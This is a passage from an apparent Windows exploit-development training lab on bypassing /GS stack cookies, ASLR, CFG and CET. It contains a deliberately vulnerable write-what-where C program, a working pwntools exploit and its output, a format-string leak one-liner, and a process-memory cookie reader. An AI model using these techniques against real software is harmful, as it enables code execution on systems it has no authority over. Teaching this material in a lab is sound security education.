# payload += b"A" * 64 # Fill local_buffer
# payload += p64(cookie_value) # Correct cookie!
# payload += p64(0xdeadbeef) # Saved RBP
# payload += rop_chain # ROP chain at return
#
# But on CET: shadow stack mismatch -> process killed.
log.success("Leak complete. Cookie and code pointers recovered.")
log.info("On non-CET systems: build ROP chain with leaked cookie.")
log.info("On CET systems: use struct-based attacks from Techniques 1-4.")
return True
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_HOST = sys.argv[1]
if len(sys.argv) > 2:
TARGET_PORT = int(sys.argv[2])
exploit()
# build inside C:\Windows_Mitigations_Lab
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\realworld_server.c /Fe:bin\realworld_server.exe /link ws2_32.lib /DEBUG /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
# in one terminal:
.\bin\realworld_server.exe
# in another
python exploits\realworld.py
# TODO: complete the exploit using one of the methods explained earlier in this day
Exploiting vulnerable write primitives that don't touch the cookie.
// www_vuln.c - Write-What-Where vulnerability
// Demonstrates: binary protocol deserialization into struct with unvalidated
// fields, enabling arbitrary write to a global function pointer.
//
// The struct fields (index, value, target) are directly controlled by
// attacker input. process_write() does: *target = value (Write-What-Where).
// The stack cookie is NEVER corrupted — the write targets a GLOBAL pointer.
//
// Key difference from Techniques 1-3: those corrupt struct function pointers
// on the STACK. This corrupts a GLOBAL function pointer via an arbitrary
// write primitive. /GS protects neither.
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stddef.h>
typedef struct {
char name[32]; // offset 0 - attacker label/command
int index; // offset 32 - array index (fallback path)
int value; // offset 36 - WHAT to write (low 32 bits)
int* target; // offset 40 - WHERE to write (pointer)
} WriteRequest; // total: 48 bytes
// Array of allowed values
int allowed_values[10] = {0};
void process_write(WriteRequest* req) {
// VULNERABILITY: No validation of target pointer or value!
// Attacker controls both WHAT and WHERE.
if (req->target != NULL) {
printf("[*] Writing value 0x%X to address %p\n",
req->value, (void*)req->target);
*req->target = req->value; // Write-What-Where!
} else {
// Fallback: write to allowed_values array
// VULNERABILITY: No bounds check on index!
printf("[*] Writing value %d to allowed_values[%d]\n",
req->value, req->index);
allowed_values[req->index] = req->value; // OOB write!
}
printf("[*] Write completed\n");
}
// Function pointer that will be our target
void (*cleanup_handler)(void) = NULL;
void safe_cleanup() {
printf("[*] Safe cleanup running\n");
}
void dangerous_action() {
printf("[!] PWNED! Running dangerous action!\n");
system("calc.exe");
}
int main() {
WriteRequest req = {0};
size_t n;
cleanup_handler = safe_cleanup;
// Print addresses for exploit auto-parsing
printf("=== Write-What-Where Demo ===\n");
printf("safe_cleanup @ %p\n", (void*)safe_cleanup);
printf("dangerous_action @ %p\n", (void*)dangerous_action);
printf("cleanup_handler @ %p (global func ptr)\n", (void*)&cleanup_handler);
printf("cleanup_handler = %p (currently points to safe_cleanup)\n",
(void*)cleanup_handler);
printf("struct size: %zu bytes\n", sizeof(WriteRequest));
printf(" name[32] @ offset %zu\n", offsetof(WriteRequest, name));
printf(" index @ offset %zu\n", offsetof(WriteRequest, index));
printf(" value @ offset %zu\n", offsetof(WriteRequest, value));
printf(" target @ offset %zu\n", offsetof(WriteRequest, target));
fflush(stdout);
// Read binary request (simulates a binary protocol/deserialization)
// fread does NOT add \0 or stop at newline — reads exact binary data.
// The attacker controls ALL struct fields: name, index, value, target.
// No overflow past the struct = cookie is NOT corrupted.
printf("\nWaiting for %zu bytes of binary input...\n", sizeof(req));
fflush(stdout);
n = fread(&req, 1, sizeof(req), stdin);
printf("[*] Read %zu bytes\n", n);
// Show what the attacker sent
printf("[*] name: '%.32s'\n", req.name);
printf("[*] index: %d\n", req.index);
printf("[*] value: 0x%X\n", req.value);
printf("[*] target: %p\n", (void*)req.target);
fflush(stdout);
process_write(&req);
// Later... cleanup_handler has been overwritten!
printf("[*] Calling cleanup_handler (%p)...\n",
(void*)cleanup_handler);
fflush(stdout);
if (cleanup_handler) {
cleanup_handler(); // Calls dangerous_action!
}
return 0;
}
Compile:
# Save to C:\Windows_Mitigations_Lab\src\www_vuln.c
# Compile with /GS to show that cookie doesn't protect this attack vector
# /FIXED = no ASLR (deterministic addresses for the exploit)
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\www_vuln.c /Fe:bin\www_vuln.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# This exploits a Write-What-Where primitive that bypasses stack cookies entirely
# The attack targets a global function pointer, not the return address
# Cookie is NEVER corrupted — fread reads exactly sizeof(struct) bytes
Pwntools WWW Exploit:
#!/usr/bin/env python3
"""
exploits/sc_www.py
Write-What-Where Exploit — Bypasses /GS without corrupting the cookie!
The vulnerable C code uses fread(&req, 1, sizeof(req), stdin) to read
a binary request directly into a WriteRequest struct. The attacker
controls ALL struct fields, including the 'target' pointer and 'value'.
process_write() does: *target = value (Write-What-Where).
We set target = &cleanup_handler and value = low 32 bits of
dangerous_action's address. This overwrites the global function pointer.
struct WriteRequest layout (x64):
+0x00: name[32] (32 bytes)
+0x20: index (4 bytes, int)
+0x24: value (4 bytes, int) <- WHAT to write
+0x28: target (8 bytes, ptr) <- WHERE to write
Total: 48 bytes
Key insight: fread reads EXACTLY sizeof(req) = 48 bytes. No \0 appended,
no \n handling. The data goes into the struct and NOWHERE ELSE.
The stack cookie (placed after the struct) is never touched.
With /FIXED: all addresses share upper bytes (0x00000001). process_write
does a 4-byte int write, so overwriting just the low dword of
cleanup_handler is enough — upper bytes remain correct.
Addresses are auto-parsed from the binary's runtime output.
Works on Windows 11 + CET: no return address hijacking.
This is a global function pointer write, not a struct member attack.
Usage:
python exploits\\sc_www.py
"""
from pwn import *
import re
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
def parse_address(output_bytes, label):
"""
Parse an address from binary output like:
dangerous_action @ 00000001400043C7
Handles both bare-hex (MSVCRT) and 0x-prefixed formats.
"""
patterns = [
re.compile(label.encode() + rb'\s+@\s+([0-9A-Fa-f]{8,16})'),
re.compile(label.encode() + rb'\s*=\s*([0-9A-Fa-f]{8,16})'),
re.compile(label.encode() + rb'\s+@\s+0x([0-9A-Fa-f]+)'),
]
for pat in patterns:
m = pat.search(output_bytes)
if m:
return int(m.group(1), 16)
return None
def exploit():
binary_path = r'C:\Windows_Mitigations_Lab\bin\www_vuln.exe'
# Phase 1: Run binary to discover addresses from startup output
log.info("Phase 1: discovering addresses from binary output...")
p = process([binary_path])
# Binary prints addresses, then waits for binary input
try:
startup = p.recvuntil(b"binary input...", timeout=5)
except:
startup = p.recv(timeout=3)
decoded = startup.decode(errors='replace')
log.info(f"Startup output:\n{decoded}")
# Parse addresses
DANGEROUS_ACTION = parse_address(startup, 'dangerous_action')
# cleanup_handler appears twice: "@ addr (global func ptr)" and "= addr (currently...)"
# We want the ADDRESS OF the variable (the one with "global func ptr")
m = re.search(rb'cleanup_handler\s+@\s+([0-9A-Fa-f]{8,16})\s+\(global', startup)
if m:
CLEANUP_HANDLER_PTR = int(m.group(1), 16)
else:
CLEANUP_HANDLER_PTR = parse_address(startup, 'cleanup_handler')
if DANGEROUS_ACTION is None or CLEANUP_HANDLER_PTR is None:
log.error("Failed to parse addresses from binary output!")
log.error("Expected: 'dangerous_action @ ADDR' and 'cleanup_handler @ ADDR (global func ptr)'")
p.close()
return
log.success(f"dangerous_action = 0x{DANGEROUS_ACTION:016X}")
log.success(f"cleanup_handler @ 0x{CLEANUP_HANDLER_PTR:016X} (address of global variable)")
# Phase 2: Build Write-What-Where payload
log.info("Phase 2: building WWW payload...")
# struct WriteRequest layout:
# name[32] @ +0x00 (label/command string)
# index @ +0x20 (4 bytes — not used when target is non-NULL)
# value @ +0x24 (4 bytes — WHAT to write: low 32 bits of dangerous_action)
# target @ +0x28 (8 bytes — WHERE to write: &cleanup_handler)
#
# process_write() does: *(int*)target = value
# This overwrites the low 4 bytes of cleanup_handler.
# Since both functions share upper bytes 0x00000001 (compiled with /FIXED),
# the full 8-byte pointer now correctly points to dangerous_action.
payload = b"calc.exe\x00" # name (command for later)
payload += b"A" * (32 - len(payload)) # pad name to 32 bytes
payload += p32(0) # index (unused)
payload += p32(DANGEROUS_ACTION & 0xFFFFFFFF) # value: low 32 bits
payload += p64(CLEANUP_HANDLER_PTR) # target: &cleanup_handler
assert len(payload) == 48, f"Payload must be exactly 48 bytes, got {len(payload)}"
log.info(f"Payload ({len(payload)} bytes):")
log.info(f" [0..31] name: 'calc.exe' + padding")
log.info(f" [32..35] index: 0 (unused — target is non-NULL)")
log.info(f" [36..39] value: 0x{DANGEROUS_ACTION & 0xFFFFFFFF:08X} (low dword of dangerous_action)")
log.info(f" [40..47] target: 0x{CLEANUP_HANDLER_PTR:016X} (&cleanup_handler)")
# Send exactly 48 bytes — fread reads sizeof(req) = 48, no \n needed
p.send(payload)
try:
output = p.recvall(timeout=5)
decoded = output.decode(errors='replace')
log.info(f"Output:\n{decoded}")
if "PWNED" in decoded or "dangerous" in decoded.lower():
log.success("Write-What-Where exploit worked!")
log.success("cleanup_handler overwritten with dangerous_action")
log.success("/GS cookie was NEVER corrupted — bypass complete")
elif "Safe cleanup" in decoded:
log.failure("cleanup_handler was NOT overwritten")
log.failure("Check address parsing — compare with startup output")
except:
pass
try:
p.wait(timeout=5)
except:
pass
if p.returncode is not None:
exit_code = p.returncode & 0xFFFFFFFF
if exit_code == 0:
log.success(f"Clean exit (0x0) — cookie was never corrupted")
elif exit_code == 0xc0000409:
log.failure(f"Cookie corruption detected (0xc0000409)")
log.failure("This should NOT happen with fread-based input")
else:
log.info(f"Exit code: {hex(exit_code)}")
p.close()
if __name__ == "__main__":
exploit()
Expected Results:
c:\Windows_Mitigations_Lab> python exploits\sc_www.py
#[*] Phase 1: discovering addresses from binary output...
#[x] Starting local process 'C:\\Windows_Mitigations_Lab\\bin\\www_vuln.exe'
#[+] Starting local process 'C:\\Windows_Mitigations_Lab\\bin\\www_vuln.exe': pid 10640
#[*] Startup output:
# === Write-What-Where Demo ===
# safe_cleanup @ 00000001400020F4
# dangerous_action @ 0000000140001E33
# cleanup_handler @ 00000001400A4568 (global func ptr)
# cleanup_handler = 00000001400020F4 (currently points to safe_cleanup)
# struct size: 48 bytes
# name[32] @ offset 0
# index @ offset 32
# value @ offset 36
# target @ offset 40
# Waiting for 48 bytes of binary input...
#[+] dangerous_action = 0x0000000140001E33
#[+] cleanup_handler @ 0x00000001400A4568 (address of global variable)
#[*] Phase 2: building WWW payload...
#[*] Payload (48 bytes):
#[*] [0..31] name: 'calc.exe' + padding
#[*] [32..35] index: 0 (unused — target is non-NULL)
#[*] [36..39] value: 0x40001E33 (low dword of dangerous_action)
#[*] [40..47] target: 0x00000001400A4568 (&cleanup_handler)
#[x] Receiving all data
#[x] Receiving all data: 2B
#[x] Receiving all data: 282B
#[*] Process 'C:\\Windows_Mitigations_Lab\\bin\\www_vuln.exe' stopped with exit code 0 (pid 10640)
#[+] Receiving all data: Done (282B)
#[*] Output:
# [*] Read 48 bytes
# [*] name: 'calc.exe'
# [*] index: 0
# [*] value: 0x40001E33
# [*] target: 00000001400A4568
# [*] Writing value 0x40001E33 to address 00000001400A4568
# [*] Write completed
# [*] Calling cleanup_handler (0000000140001E33)...
# [!] PWNED! Running dangerous action!
#[+] Write-What-Where exploit worked!
#[+] cleanup_handler overwritten with dangerous_action
#[+] /GS cookie was NEVER corrupted — bypass complete
#[+] Clean exit (0x0) — cookie was never corrupted
Demonstrate the full information leak chain against the ASLR-enabled server.
Compile with ASLR (addresses randomized every run):
cd C:\Windows_Mitigations_Lab
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\realworld_server.c ^
/Fe:bin\realworld_server.exe /link ws2_32.lib /DEBUG ^
/NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
Start the server and note the function addresses printed at startup:
bin\realworld_server.exe
# Output:
# [*] Server listening on port 31337
# [*] log_message @ 00007FF6799819C9 <- randomized!
# [*] handle_login @ 00007FF679984133
# [*] handle_execute @ 00007FF67998348B
# [*] Mitigations: /GS enabled, ASLR enabled
Leak stack values via format string (MSVCRT: sequential %p, bare hex, no %N$p):
# 80 specifiers × ~17 chars each = ~1360 chars, but _vsnprintf buffer is 512.
# Result: ~30 values leaked (512/17 ≈ 30). This is realistic — real leaks
# are always constrained by buffer sizes.
python -c "from pwn import *; r=remote('127.0.0.1',31337); r.send(b'LOGIN ' + b'%%p.' * 80); print(r.recv(timeout=3)); r.close()"
Run the full exploit to parse and classify leaked values:
python exploits\realworld.py
# Expected output:
# [+] Potential cookie at offset 1: 0x8101010101010100 <- high entropy
# [*] ASLR code pointer at offset 27: 0x00007FF939C0F77C <- DLL address
# [+] Cookie: 0x8101010101010100 at offset 1
# [+] Code pointer: 0x00007FF939C0F77C at offset 27
# [*] Estimated module base: 0x00007FF939C00000 (64KB aligned)
Verify with WinDbg — cross-check leaked values against actual stack:
# Launch server under debugger
windbg C:\Windows_Mitigations_Lab\bin\realworld_server.exe
# Set breakpoint at the vulnerable function
bp realworld_server!handle_login
g
# Server starts — connect with the format string payload from another terminal
# When breakpoint hits, examine the stack:
dqs rsp L30
# Look for the cookie value (high-entropy, XOR'd with RSP)
# Calculate expected cookie: global cookie XOR'd with RSP
# IMPORTANT: poi() dereferences the symbol — without it, you get the ADDRESS
? poi(realworld_server!__security_cookie) ^ rsp
# Result should match one of the leaked values
# Find where code pointers appear on the stack:
# Return addresses will be in the 0x00007FF6XXXXXXXX range (server module)
# or 0x00007FFXXXXXXXXX range (system DLLs like ucrtbase, kernel32)
dqs rsp L80
# Match against the values your exploit reported
Understand what was recovered:
| Item | Example | Exploit Use |
|---|---|---|
| Stack cookie | 0x8101010101010100 | Place in overflow to pass /GS check (non-CET) |
| DLL code ptr | 0x00007FF939C0F77C | Calculate DLL base -> find API addresses for ROP |
| Server base | Printed at startup | Server module base for struct-based attacks |
On non-CET systems: Build a ROP chain using the leaked cookie and code pointers
On CET systems: The cookie leak is still valuable for understanding the target, but use struct-based attacks (Techniques 1-4) for exploitation — CET shadow stack blocks ROP
Use the Technique 3 --cfg-test mode to observe CFG behavior directly.
Compile all three variants (no mitigation, /GS only, /GS + CFG):
cd C:\Windows_Mitigations_Lab
# Baseline: no /GS, no CFG
cl /GS- /Zi /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# /GS only: prove struct members not reordered
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite_gs.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# /GS + CFG: observe coarse-grained check
cl /GS /Zi /guard:cf /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite_cfg.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /guard:cf /DEBUG
Run all three standard exploits — all should pop calc:
python exploits\sc_3_funcptr.py --exploit
# All three builds: [DANGER] Executing: calc.exe
# /GS doesn't help (struct members preserved)
# CFG doesn't help (dangerous_handler is a valid function entry)
Run the CFG coarse-grained test:
python exploits\sc_3_funcptr.py --cfg-test
# TEST 1: Redirect to dangerous_handler (valid entry) -> CFG ALLOWS -> calc pops
# TEST 2: Redirect to dangerous_handler+4 (mid-function) -> CFG BLOCKS -> 0x80000003
Analyze CFG validation in WinDbg:
# Launch CFG build under debugger
# Break at the indirect call site (where handler is called)
# First, find the call instruction in process_request:
uf func_ptr_overwrite_cfg!process_request
# Look for: call qword ptr [__guard_check_icall_fptr]
# call rax (or similar indirect call pattern)
# Set breakpoint at the CFG check:
bp func_ptr_overwrite_cfg!process_request
g
# Feed the exploit payload from another terminal
# Single-step through the CFG check:
# The guard check validates RAX against the CFG bitmap.
# If RAX = dangerous_handler (valid entry) -> check passes
# If RAX = dangerous_handler+4 (mid-function) -> __fastfail
# Watch the bitmap lookup:
bp ntdll!LdrpValidateUserCallTarget
g
# When hit, examine:
r rcx # Target address being validated
# Step through to see the bitmap check
Verify CET independence: All struct-based attacks succeed with CET enabled.
CET protects RET instructions (backward edge), not indirect CALL (forward edge).
The struct function pointer overwrite uses CALL, so CET is irrelevant.
A functional tool that reads __security_cookie from a running process by
parsing the PE export directory and .data section. Requires the target
process to be compiled with debug symbols or the cookie offset found via
dumpbin.
# cookie_analyzer.py
# Reads __security_cookie from a target Windows process.
#
# Usage:
# python cookie_analyzer.py <pid> <cookie_rva>
#
# Find cookie_rva with:
# dumpbin /symbols bin\realworld_server.exe | findstr __security_cookie
# # Example: 00000000000A4560 __security_cookie
# # RVA = 0xA4560
#
# Or in WinDbg:
# x realworld_server!__security_cookie
# # Subtract module base to get RVA
import ctypes
from ctypes import wintypes
import struct
import sys
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
psapi = ctypes.WinDLL('psapi', use_last_error=True)
# Process access rights
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
def read_process_memory(handle, address, size):
"""Read 'size' bytes from 'address' in the target process."""
buffer = ctypes.create_string_buffer(size)
bytes_read = ctypes.c_size_t()
ok = kernel32.ReadProcessMemory(
handle,
ctypes.c_void_p(address),
buffer,
size,
ctypes.byref(bytes_read)
)
if not ok:
err = ctypes.get_last_error()
print(f" [!] ReadProcessMemory failed at 0x{address:016X}: error {err}")
return b""
return buffer.raw[:bytes_read.value]
def get_module_base(handle):
"""
Get the base address of the main module (the EXE) in the target process.
Uses EnumProcessModulesEx — the first module is always the EXE itself.
"""
hMods = (ctypes.c_void_p * 1024)()
cbNeeded = wintypes.DWORD()
ok = psapi.EnumProcessModulesEx(
handle,
ctypes.byref(hMods),
ctypes.sizeof(hMods),
ctypes.byref(cbNeeded),
0x03 # LIST_MODULES_ALL
)
if not ok:
print(f" [!] EnumProcessModulesEx failed: {ctypes.get_last_error()}")
return None
# First module = main EXE
base = hMods[0]
if base is None or base == 0:
return None
# hMods[0] returns a Python int from c_void_p — use it directly for math,
# but wrap in ctypes.c_void_p() when passing to API calls (large x64
# addresses like 0x7FF6XXXXXXXX overflow if passed as plain int)
mod_name = ctypes.create_string_buffer(260)
psapi.GetModuleBaseNameA(handle, ctypes.c_void_p(base), mod_name, 260)
print(f" [*] Main module: {mod_name.value.decode()} @ 0x{base:016X}")
return base
def analyze_cookie(pid, cookie_rva):
"""
Read __security_cookie from a target process.
The global __security_cookie is stored at a fixed RVA in the PE.
It's initialized at process startup from entropy sources:
- GetSystemTimeAsFileTime
- GetCurrentProcessId / GetCurrentThreadId
- QueryPerformanceCounter
- Stack address
On the stack, the cookie is XOR'd with RBP (x86) or RSP (x64)
before being stored. The epilogue XORs again and compares with
the global value. If they don't match -> __fastfail(2).
"""
handle = kernel32.OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
False,
pid
)
if not handle:
print(f"[!] Failed to open PID {pid}: error {ctypes.get_last_error()}")
print(" Ensure you have debug privileges (run as Administrator).")
return
print(f"[*] Opened PID {pid}")
# Step 1: Find main module base address
base = get_module_base(handle)
if base is None:
print("[!] Could not determine module base")
kernel32.CloseHandle(handle)
return
# Step 2: Read __security_cookie at base + RVA
cookie_addr = base + cookie_rva
print(f" [*] __security_cookie @ 0x{cookie_addr:016X} (base + 0x{cookie_rva:X})")
data = read_process_memory(handle, cookie_addr, 8)
if len(data) < 8:
print("[!] Failed to read cookie value")
kernel32.CloseHandle(handle)
return
cookie = struct.unpack('<Q', data)[0]
print(f" [+] __security_cookie = 0x{cookie:016X}")
# Step 3: Analyze cookie properties
print(f"\n[*] Cookie Analysis:")
print(f" Entropy bits: {bin(cookie).count('1')} of 64 set")
# Check for weak/default cookies (should never appear in release)
WEAK_COOKIES = [
0x00002B992DDFA232, # Default x64 cookie (uninitialized)
0x0000BB40E64E6917, # Another known default
0x00000000BB40E64E, # 32-bit default
]
if cookie in WEAK_COOKIES:
print(f" [!] WARNING: Default/weak cookie detected!")
print(f" This means __security_init_cookie() may not have run.")
else:
print(f" [*] Cookie appears properly randomized")
# Check high 16 bits (should be non-zero for good entropy)
if (cookie >> 48) == 0:
print(f" [!] WARNING: Upper 16 bits are zero — reduced entropy")
print(f" Expected full 64-bit entropy on x64 Windows 8+")
else:
print(f" [*] Full 64-bit entropy present")
# Step 4: Read .data section to find other interesting values nearby
# The cookie is typically near the start of .data
print(f"\n[*] Memory around cookie (±32 bytes):")
context_data = read_process_memory(handle, cookie_addr - 32, 72)
if context_data:
for i in range(0, len(context_data), 8):
offset = i - 32
val = struct.unpack('<Q', context_data[i:i+8])[0]
marker = " <-- __security_cookie" if offset == 0 else ""
print(f" [{offset:+4d}] 0x{val:016X}{marker}")
kernel32.CloseHandle(handle)
print(f"\n[*] Done. To see the stack-stored (XOR'd) cookie:")
print(f" Attach WinDbg -> bp on a /GS function -> examine [rsp+N]")
print(f" Stack cookie = global cookie XOR RSP (x64)")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cookie_analyzer.py <pid> <cookie_rva_hex>")
print("")
print("Find cookie RVA:")
print(" dumpbin /symbols bin\\target.exe | findstr __security_cookie")
print(" # Take the hex address (e.g., 00000000000A4560 -> 0xA4560)")
print("")
print("Example:")
print(" # Start target in one terminal:")
print(" bin\\realworld_server.exe")
print(" # Find PID: tasklist | findstr realworld")
print(" # Find RVA: dumpbin /symbols bin\\realworld_server.exe | findstr __security_cookie")
print(" python cookie_analyzer.py 1234 0xA4560")
sys.exit(1)
pid = int(sys.argv[1])
cookie_rva = int(sys.argv[2], 16)
analyze_cookie(pid, cookie_rva)
Expected Output:
c:\Windows_Mitigations_Lab> python cookie_analyzer.py 9968 0xA4560
#[*] Opened PID 9968
# [*] Main module: realworld_server.exe @ 0x00007FF679980000
# [*] __security_cookie @ 0x00007FF679A24560 (base + 0xA4560)
# [+] __security_cookie = 0x00004336AA6DF55D
#
#[*] Cookie Analysis:
# Entropy bits: 25 of 64 set
# [*] Cookie appears properly randomized
# [*] Full 64-bit entropy present
#
#[*] Memory around cookie (±32 bytes):
# [ -32] 0x0000000000000000
# [ -24] 0x0000000000000000
# [ -16] 0x0000000000000001
# [ -8] 0x00007FF679981000
# [ +0] 0x00004336AA6DF55D <-- __security_cookie
# [ +8] 0x0000000000000000
# [ +16] 0x0000000000000000
# [ +24] 0x0000000000000000
# [ +32] 0x0000000000000000
#
#[*] Done. To see the stack-stored (XOR'd) cookie:
# Attach WinDbg -> bp on a /GS function -> examine [rsp+N]
# Stack cookie = global cookie XOR RSP (x64)
Demonstrate that /GS cookies are completely irrelevant when the vulnerability
is a Write-What-Where primitive (no stack corruption needed).
Compile the www_vuln.c (with /GS enabled — it won't help):
cd C:\Windows_Mitigations_Lab
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\www_vuln.c ^
/Fe:bin\www_vuln.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
Run the exploit (addresses auto-parsed, no manual updates needed):
python exploits\sc_www.py
# Expected:
# [+] dangerous_action = 0x0000000140001E33
# [+] cleanup_handler @ 0x00000001400A4568 (address of global variable)
# [*] Payload (48 bytes):
# [*] [36..39] value: 0x40001E33 (low dword of dangerous_action)
# [*] [40..47] target: 0x00000001400A4568 (&cleanup_handler)
# [!] PWNED! Running dangerous action!
# [+] Clean exit (0x0) — cookie was never corrupted
Verify cookie was untouched — the exit code is 0x0 (clean), not 0xc0000409.
The fread reads exactly sizeof(WriteRequest) = 48 bytes into the struct.
No bytes overflow past the struct into the stack cookie.
Compare with stack-based attacks: In Techniques 1-3, we corrupted function pointers that were struct members on the stack. Here, we use struct fields as parameters to an arbitrary write that targets a global function pointer. The stack cookie is simply never involved.
Key insight: /GS only detects corruption of the stack frame between the
buffer and the return address. Writes to globals, heap, or other non-stack
targets bypass /GS entirely. This is why defense-in-depth matters.
/GS does NOT reorder struct internals), exception-based bypasses (cookie checked at ret, not at exception), and Write-What-Where primitives (target globals, never touch the cookie)/GS variable reordering has a critical blind spot: While /GS moves arrays to higher stack addresses (next to the cookie), it cannot reorder struct members — the C standard requires preserved declaration order. Placing a buffer and function pointer in the same struct creates an exploitable layout that /GS cannot fixRET compares both copies; mismatch -> #CP exception -> kernel kills the process via __fastfail -> exit code 0x80000003 (STATUS_BREAKPOINT). No user-mode recovery. This is why data-only and indirect CALL attacks are the modern approach/guard:cf) checks "is the target ANY valid function entry point?" — NOT "should THIS call site call THAT function." We proved this: redirecting safe_handler -> dangerous_handler passes CFG because dangerous_handler is a valid function. Only dangerous_handler+4 (mid-function) is blocked with 0x80000003. Fine-grained CFI (Clang -fsanitize=cfi) validates type signatures and would block thisis_admin in Technique 4), a function pointer in a struct (Techniques 1-3), or a global function pointer via Write-What-Where (Scenario 2) — none of these trigger any of the three mitigations/GS cookies are validated at function return (__security_check_cookie in the epilogue). If an exception fires between the overflow and the return, the __except handler reads already-corrupted data before the cookie is ever checked. On x64, this is NOT an SEH chain overwrite (impossible — table-based .pdata), but a data-corruption-before-check attack%p prints bare hex (000000000014FA48) — no 0x prefix%N$x is NOT supported — must use sequential %p and count offsetsprintf("%s", NULL) prints (null) instead of crashing — cannot trigger exceptions this way_vsnprintf buffer size limits how many values you can leak (512 bytes / 17 chars per %p. ≈ 30 values)/DYNAMICBASE), leaked code pointers are 64KB-aligned-randomized. Partial overwrites (Technique 2) become harder because upper address bytes are randomized. Format string leaks are the primary ASLR defeat mechanism (leak -> calculate base -> build payload)/GS alone: bypassed by structs, exceptions, WWW, info leaksCan you overflow past the stack cookie without corrupting it?
Yes — three proven methods from this lab:
(a) Struct members: overflow within a struct corrupts the function pointer at a known offset but never reaches the cookie (Techniques 1-3).
(b) Write-What-Where: use overflow to control struct fields that parameterize an arbitrary write to a global pointer (Scenario 2).
(c) Exception window: corrupt data before the cookie is checked — the __except handler reads corrupted values mid-function (Technique 4).
What happens if you leak the stack cookie value? Can CET still protect you?
Leaking the cookie lets you place the correct value in your overflow payload, surviving the /GS epilogue check. However, on CET-enabled systems, the return address is also validated against the shadow stack — the attacker cannot modify the shadow stack from user mode. So even with a leaked cookie, ROP/return address overwrites are blocked. The attacker must use data-only techniques (struct function pointers, global pointers, security flags) that don't involve RET hijacking.
Why does CFG allow redirecting safe_handler -> dangerous_handler? What would block it?
CFG maintains a bitmap of valid function entry points. dangerous_handler IS a valid function entry, so CFG allows the call. CFG doesn't check "should this specific call site call this specific function" — it only checks "is the target a function entry at all." This is coarse-grained CFI. Fine-grained CFI (e.g., Clang's -fsanitize=cfi) would block this by verifying the function pointer's type signature matches the call site's expected signature. MSVC's XFG (eXtended Flow Guard) also adds type-based hashing but is not yet widely deployed.
Why is SafeSEH only for 32-bit applications?
On x86, the SEH chain is stored on the stack — the attacker can overwrite exception handler pointers via buffer overflow. SafeSEH validates handlers against a table of known-good handlers. On x64, Windows uses table-based exception handling: RUNTIME_FUNCTION entries in the read-only .pdata PE section map instruction ranges to unwind info. The SEH chain doesn't exist on the stack, so there's nothing to overwrite. SafeSEH is unnecessary on x64 because the attack vector it protects against doesn't exist.
If CET blocks return address overwrites, what attack classes remain viable? Proven in this lab:
CALL, not RET) — Techniques 1-3is_admin, config flags, file paths) — Technique 4JMP, not RETCALL, not RETWhat is CFG?:
How CFG Works:
// Without CFG:
void (*func_ptr)() = user_controlled_value;
func_ptr(); // Jumps anywhere!
// With CFG:
void (*func_ptr)() = user_controlled_value;
// Compiler inserts:
if (!__guard_check_icall_fptr(func_ptr)) {
__guard_icall_failure(func_ptr); // Terminates
}
func_ptr(); // Only if valid target
[!IMPORTANT] CFG is forward-edge CFI only. It validates indirect calls and jumps, but does NOT protect return addresses (backward-edge). ROP attacks using
retinstructions are NOT blocked by CFG—that's what CET Shadow Stack is for.
CFG Protection Matrix:
| Attack Type | CFG Blocks? | Why / Why Not |
|---|---|---|
| Indirect call to shellcode | Yes | Shellcode address not in valid target bitmap |
| Indirect call to non-CFG DLL | Yes | Non-CFG module functions not marked valid |
| vtable pointer overwrite | Yes* | *Only if call site is CFG-instrumented |
| Function pointer overwrite | Yes* | *Only if the call site uses __guard_check_icall |
ROP chain (using ret) | No | CFG doesn't validate return addresses |
| Direct call to attacker code | No | Direct calls (call 0x1234) not validated |
| JOP (jump-oriented programming) | Partial | CFG validates jmp [reg] but not all gadget chains |
| Data-only attacks | No | CFG only protects control flow, not data |
| Calling valid but dangerous API | No | VirtualProtect is a valid CFG target |
| Type confusion (same signature) | No | CFG doesn't check function types (XFG does) |
Key Limitations to Understand:
CFG Limitation 1: Forward-Edge Only
-----------------------------------
CFG validates: call [rax], jmp [rax]
CFG ignores: ret (return instructions)
ROP chains work because 'ret' pops address from stack and jumps.
CFG doesn't check these - the attacker controls the stack.
CFG Limitation 2: Call Site Must Be Instrumented
------------------------------------------------
CFG check only happens if:
1. Binary compiled with /guard:cf
2. Specific call site has guard check instrumentation
If the call site is in non-CFG code, NO validation occurs!
CFG Limitation 3: All Valid Functions Are Fair Game
---------------------------------------------------
If attacker overwrites function pointer to point to:
- VirtualProtect (valid target) -> Can make shellcode executable
- WinExec (valid target) -> Can execute arbitrary commands
- Any exported function -> These are all "valid"
This is why XFG (type checking) was developed.
Lab: VTable Hijacking vs. CFG (C++)
Week 5 touched on VTable smashing. This lab demonstrates the coarse-grained nature of CFG: it blocks calls to shellcode or mid-function addresses, but ALLOWS calls to valid function entries — even if the function was never intended to be called from that call site.
Create src\vtable_cfg_test.cpp:
// vtable_cfg_test.cpp
// Demonstrates CFG's coarse-grained behavior with vtable hijacking.
//
// Test 1: Redirect vtable to malicious_code (a valid function entry)
// -> CFG ALLOWS this because malicious_code is in the CFG bitmap!
// Test 2: Redirect vtable to a shellcode address (not a valid function)
